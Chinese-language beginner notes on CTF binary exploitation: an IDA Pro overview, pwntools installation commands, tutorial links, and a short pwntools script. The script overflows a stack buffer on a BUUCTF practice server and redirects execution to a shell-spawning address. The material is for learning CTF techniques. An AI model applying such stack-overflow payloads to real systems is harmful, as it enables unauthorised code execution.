关于pwn的工具
1.ida
交互式反汇编器专业版(Interactive Disassembler Professional),人们常称为 IDA Pro。就其本质而言,IDA 是一种递归下降反汇编器,是个逆向分析的神器之一,可以分析x86、x64、ARM、MIPS、Java、.NET等众多平台的程序代码,是安全分析人士不可缺少的利器!
启动IDA
只要启动 IDA,你都会看到一个初始欢迎界面,上面显示你的许可证信息摘要。初始屏幕消失后,IDA 将显示另一个对话框,为你进入桌面环境提供 3 种选项
进入ida分析原因
根据工具栏不同的功能,进行分析。
(常用窗口)
“十六进制窗口”(Hex View)
汇编窗口(IDA View)
函数窗口(Functions window)
伪代码窗口(Pseudocode)
对着函数点F5即可弹出伪代码窗口
字符串窗口(strings)
2.虚拟机,Ubuntu安装pwntools
先下载Git软件包,下载后用命令安装
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
关于pwn的基础知识
栈溢出原理
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/
栈保护机制https://blog.csdn.net/najdhdfh/article/details/109202138?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170675765116800225523460%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=170675765116800225523460&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-6-109202138-null-null.142^v99^pc_search_result_base5&utm_term=%E6%A0%88%E6%BA%A2%E5%87%BA%E8%B7%B3%E5%88%B0cat%20flag%E5%9C%B0%E5%9D%80&spm=1018.2226.3001.4187
虚拟机中的相关知识
建立.py文件(例:touch pwn.py)
编写exploit
#!/usr/bin/env python
from pwn import *
sh = remote("node4.buuoj.cn",28996)#靶机地址和端口
system_addr = 0x401186#bin/sh找到system所在地址
sh.sendline(b'A'*15+b'a'*8 + p64(system_addr))#15为s的15个字节的存储空间,偏移量为15;
64位的EIF文件,所以rbp是8个字节(基础知识)
sh.interactive()